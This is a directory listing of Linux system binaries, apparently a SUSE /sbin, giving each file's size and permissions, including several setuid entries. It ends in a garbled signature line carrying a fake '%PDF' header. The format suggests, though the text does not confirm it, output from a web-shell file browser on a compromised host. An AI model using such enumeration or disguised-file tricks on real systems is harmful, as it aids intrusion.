btrfs-show-super File 316.41 KB 0755
btrfs-zero-log File 312.16 KB 0755
btrfsck File 633.27 KB 0755
btrfstune File 316.16 KB 0755
cfdisk File 90.53 KB 0755
chcpu File 38.09 KB 0755
checkproc File 39.65 KB 0755
chkbin File 12.84 KB 0544
chkconfig File 20.13 KB 0755
chkstat-polkit File 2.99 KB 0755
clockdiff File 18.24 KB 0755
crda File 18.52 KB 0755
cryptsetup File 91.71 KB 0755
ctrlaltdel File 34.1 KB 0755
debugfs File 187.7 KB 0755
debugfs.reiserfs File 71.15 KB 0755
debugreiserfs File 71.15 KB 0755
depmod File 236.71 KB 0755
dhclient File 1.78 MB 0755
dhclient-script File 24.49 KB 0754
dhclient6 File 1.78 MB 0755
dmevent_tool File 10.42 KB 0755
dmeventd File 38.17 KB 0555
dmraid File 20.87 KB 0755
dmsetup File 146.7 KB 0555
dmstats File 146.7 KB 0555
dosfsck File 54.58 KB 0755
dosfslabel File 50.57 KB 0755
dumpe2fs File 26.89 KB 0755
e2fsck File 289.48 KB 0755
e2image File 30.98 KB 0755
e2label File 99.89 KB 0755
e2undo File 18.55 KB 0755
ether-wake File 11.53 KB 0755
fbtest File 10.4 KB 0755
fdisk File 134.22 KB 0755
findfs File 10.09 KB 0755
fixfiles File 10.51 KB 0755
fsadm File 25.33 KB 0555
fsck File 46.14 KB 0755
fsck.btrfs File 1.16 KB 0755
fsck.cramfs File 34.13 KB 0755
fsck.ext2 File 289.48 KB 0755
fsck.ext3 File 289.48 KB 0755
fsck.ext4 File 289.48 KB 0755
fsck.fat File 54.58 KB 0755
fsck.minix File 106.2 KB 0755
fsck.msdos File 54.58 KB 0755
fsck.reiserfs File 164.47 KB 0755
fsck.vfat File 54.58 KB 0755
fsck.xfs File 433 B 0755
fsfreeze File 10.09 KB 0755
fstab-decode File 6.25 KB 0755
fstrim File 58.17 KB 0755
getappcore File 28.9 KB 0544
halt File 692.05 KB 0755
hdparm File 100.74 KB 0755
hwclock File 86.3 KB 0755
ifconfig File 62.05 KB 0755
ifdown File 5.82 KB 0755
ifenslave File 18.8 KB 0755
ifprobe File 5.82 KB 0755
ifstatus File 5.82 KB 0755
ifup File 5.82 KB 0755
ifuser File 10.34 KB 0755
in.rdisc File 22.13 KB 0755
init File 1.54 MB 0755
insmod File 236.71 KB 0755
insserv File 6.06 KB 0755
install-info File 39.63 KB 0755
installkernel File 2.59 KB 0755
ip File 498 KB 0755
ipmaddr File 18.45 KB 0755
iptunnel File 22.46 KB 0755
iscsi-gen-initiatorname File 2.1 KB 0755
iscsi-iname File 10.31 KB 0755
iscsi_discovery File 5.17 KB 0755
iscsi_fw_login File 212 B 0755
iscsi_offload File 9.22 KB 0755
iscsiadm File 776.52 KB 0755
iscsid File 796.85 KB 0755
iscsistart File 347.77 KB 0755
iscsiuio File 171.86 KB 0755
isserial File 6.21 KB 0744
kdump File 10.32 KB 0755
kexec File 255.5 KB 0755
key.dns_resolver File 18.45 KB 0755
killall5 File 22.66 KB 0755
killproc File 43.68 KB 0755
kpartx File 42.12 KB 0755
ldconfig File 872.55 KB 0755
load_policy File 10.3 KB 0755
logsave File 10.41 KB 0755
losetup File 98.76 KB 0755
lsmod File 236.71 KB 0755
lspci File 68.23 KB 0755
lvchange File 2.07 MB 0555
lvconvert File 2.07 MB 0555
lvcreate File 2.07 MB 0555
lvdisplay File 2.07 MB 0555
lvextend File 2.07 MB 0555
lvm File 2.07 MB 0555
lvmconf File 12.55 KB 0555
lvmconfig File 2.07 MB 0555
lvmdiskscan File 2.07 MB 0555
lvmdump File 10.07 KB 0555
lvmetad File 70.23 KB 0555
lvmpolld File 62.55 KB 0555
lvmsadc File 2.07 MB 0555
lvmsar File 2.07 MB 0555
lvreduce File 2.07 MB 0555
lvremove File 2.07 MB 0555
lvrename File 2.07 MB 0555
lvresize File 2.07 MB 0555
lvs File 2.07 MB 0555
lvscan File 2.07 MB 0555
mdadm File 554.64 KB 0755
mdmon File 305.23 KB 0755
mingetty File 22.8 KB 0755
mkdosfs File 27.06 KB 0755
mke2fs File 120.23 KB 0755
mkfs File 10.09 KB 0755
mkfs.bfs File 26.1 KB 0755
mkfs.btrfs File 332.27 KB 0755
mkfs.cramfs File 34.11 KB 0755
mkfs.ext2 File 120.23 KB 0755
mkfs.ext3 File 120.23 KB 0755
mkfs.ext4 File 120.23 KB 0755
mkfs.fat File 27.06 KB 0755
mkfs.minix File 94.19 KB 0755
mkfs.msdos File 27.06 KB 0755
mkfs.reiserfs File 23.04 KB 0755
mkfs.vfat File 27.06 KB 0755
mkfs.xfs File 423.13 KB 0755
mkhomedir_helper File 18.45 KB 0755
mkill File 39.71 KB 0755
mkinitrd File 12.84 KB 0755
mkinitrd_setup File 18 B 0755
mkreiserfs File 23.04 KB 0755
mkswap File 94.18 KB 0755
modinfo File 236.71 KB 0755
modprobe File 236.71 KB 0755
mount.cifs File 38.87 KB 0755
mount.crypt File 556 B 0755
mount.crypt_LUKS File 556 B 0755
mount.crypto_LUKS File 556 B 0755
mount.fuse File 10.32 KB 0755
mount.nfs File 112.29 KB 4755
mount.nfs4 File 112.29 KB 4755
mount.vmhgfs File 42.82 KB 0755
mpathpersist File 27 KB 0755
multipath File 30.09 KB 0755
multipathd File 114.15 KB 0755
nameif File 14.63 KB 0755
netconfig File 17.87 KB 0755
nfsdcltrack File 23 KB 0755
nologin File 10.09 KB 0755
osd_login File 2.55 KB 0755
pam_tally2 File 14.48 KB 0755
pam_timestamp_check File 10.42 KB 0755
pbl File 7.33 KB 0755
pidof File 22.66 KB 0755
pidofproc File 39.65 KB 0755
pivot_root File 10.1 KB 0755
plipconfig File 10.33 KB 0755
pmap_set2 File 6.09 KB 0755
poweroff File 692.05 KB 0755
purge-kernels File 10.28 KB 0755
pvchange File 2.07 MB 0555
pvck File 2.07 MB 0555
pvcreate File 2.07 MB 0555
pvdisplay File 2.07 MB 0555
pvmove File 2.07 MB 0555
pvremove File 2.07 MB 0555
pvresize File 2.07 MB 0555
pvs File 2.07 MB 0555
pvscan File 2.07 MB 0555
rarp File 24.77 KB 0755
raw File 14.09 KB 0755
rcSuSEfirewall2 File 5.28 KB 0755
rcipmi File 5.28 KB 0755
rcnetwork File 5.28 KB 0755
rcsyslog File 411 B 0755
reboot File 692.05 KB 0755
refresh_initrd File 1.08 KB 0755
regdbdump File 14.34 KB 0755
reiserfsck File 164.47 KB 0755
reiserfstune File 23.25 KB 0755
request-key File 18.48 KB 0755
resize2fs File 55.39 KB 0755
resize_reiserfs File 18.61 KB 0755
restorecon File 26.73 KB 0755
rmmod File 236.71 KB 0755
rmt File 34.83 KB 0755
route File 52.34 KB 0755
rpcbind File 50.34 KB 0755
rpcinfo File 26.26 KB 0755
rsyslogd File 602.45 KB 0755
runlevel File 692.05 KB 0755
rvmtab File 35.62 KB 0755
service File 5.28 KB 0755
set_polkit_default_privs File 2.62 KB 0755
setconsole File 14.53 KB 0744
setfiles File 26.73 KB 0755
setpci File 22.5 KB 0755
sfdisk File 122.17 KB 0755
showconsole File 14.53 KB 0744
shutdown File 692.05 KB 0755
slattach File 32.86 KB 0755
smart_agetty File 2.03 KB 0755
start_daemon File 55.96 KB 0755
startpar File 34.96 KB 0755
startproc File 55.96 KB 0755
supportconfig File 188.32 KB 0544
swaplabel File 14.09 KB 0755
swapoff File 18.09 KB 0755
swapon File 46.34 KB 0755
switch_root File 14.1 KB 0755
sysctl File 22.56 KB 0755
telinit File 692.05 KB 0755
tracepath File 14.04 KB 0755
tracepath6 File 14.04 KB 0755
tune2fs File 99.89 KB 0755
tunefs.reiserfs File 23.25 KB 0755
udevadm File 474.44 KB 0755
udevd File 482.48 KB 0755
umount.crypt File 556 B 0755
umount.crypt_LUKS File 556 B 0755
umount.crypto_LUKS File 556 B 0755
umount.nfs File 112.29 KB 4755
umount.nfs4 File 112.29 KB 4755
unix_chkpwd File 34.78 KB 4755
unix_update File 34.73 KB 0700
update-bootloader File 7.33 KB 0755
update-pciids File 1.87 KB 0755
vconfig File 14.31 KB 0755
vgcfgbackup File 2.07 MB 0555
vgcfgrestore File 2.07 MB 0555
vgchange File 2.07 MB 0555
vgck File 2.07 MB 0555
vgconvert File 2.07 MB 0555
vgcreate File 2.07 MB 0555
vgdisplay File 2.07 MB 0555
vgexport File 2.07 MB 0555
vgextend File 2.07 MB 0555
vgimport File 2.07 MB 0555
vgimportclone File 2.07 MB 0555
vgmerge File 2.07 MB 0555
vgmknodes File 2.07 MB 0555
vgreduce File 2.07 MB 0555
vgremove File 2.07 MB 0555
vgrename File 2.07 MB 0555
vgs File 2.07 MB 0555
vgscan File 2.07 MB 0555
vgsplit File 2.07 MB 0555
vhangup File 10.38 KB 0755
wipefs File 38.1 KB 0755
wiper.sh File 27.43 KB 0755
xfs_repair File 624.25 KB 0755
yast File 12.4 KB 0755
yast2 File 12.4 KB 0755
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1